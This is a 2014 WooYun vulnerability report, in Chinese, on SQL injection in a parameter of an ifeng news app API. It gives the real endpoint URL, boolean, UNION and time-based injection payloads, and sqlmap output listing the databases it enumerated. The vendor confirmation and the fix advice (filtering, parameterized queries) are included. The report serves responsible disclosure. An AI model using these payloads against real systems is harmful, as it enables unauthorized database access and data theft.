漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-060648
漏洞标题:凤凰网某应用sql注入漏洞
相关厂商:凤凰网
漏洞作者: greg.wu
提交时间:2014-05-14 10:11
修复时间:2014-06-28 10:12
公开时间:2014-06-28 10:12
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-05-14: 细节已通知厂商并且等待厂商处理中
2014-05-14: 厂商已经确认,细节仅向厂商公开
2014-05-24: 细节向核心白帽子及相关领域专家公开
2014-06-03: 细节向普通白帽子公开
2014-06-13: 细节向实习白帽子公开
2014-06-28: 细节向公众公开
简要描述:
凤凰网某应用sql注入漏洞,盲注
详细说明:
凤凰新闻手机app的一个api接口过滤不严,存在注入漏洞。
注入点:http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews&os=android_19&screen=720x1206&publishid=2011&zip=1,受影响参数:proid
证明:
http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews' and '12'='12&os=android_19&screen=720x1206&publishid=2011&zip=1 返回正常数据
http://api.iapps.ifeng.com/news/upgrade.json?gv=4.2.0&proid=ifengnews' and '22'='12&os=android_19&screen=720x1206&publishid=2011&zip=1 返回数据异常
漏洞证明:
sqlmap无压力,貌似凤凰汽车频道的库也在其中,
sqlmap identified the following injection points with a total of 50 HTTP(s) requests:
---
Place: GET
Parameter: proid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: gv=4.2.0&proid=ifengnews' AND 8025=8025 AND 'lqID'='lqID&os=android_19&screen=720x1206&publishid=2011&zip=1
Type: UNION query
Title: MySQL UNION query (NULL) - 14 columns
Payload: gv=4.2.0&proid=-6406' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7166717471,0x457a716d67506d734978,0x716d696471),NULL,NULL,NULL,NULL,NULL#&os=android_19&screen=720x1206&publishid=2011&zip=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: gv=4.2.0&proid=ifengnews' AND SLEEP(5) AND 'tWlX'='tWlX&os=android_19&screen=720x1206&publishid=2011&zip=1
---
[09:36:11] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.11
[09:36:11] [INFO] fetching database names
[09:36:11] [INFO] the SQL query used returns 5 entries
[09:36:11] [INFO] retrieved: "information_schema"
[09:36:11] [INFO] retrieved: "auto_ifeng"
[09:36:11] [INFO] retrieved: "auto_ifeng_2"
[09:36:11] [INFO] retrieved: "mobile_ifeng"
[09:36:12] [INFO] retrieved: "test"
available databases [5]:
[*] auto_ifeng
[*] auto_ifeng_2
[*] information_schema
[*] mobile_ifeng
[*] test
修复方案:
过滤,参数化
版权声明:转载请注明来源 greg.wu@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2014-05-14 10:15
厂商回复:
非常感谢您对凤凰网信息安全的关注,我们尽快修复这个问题。
最新状态:
暂无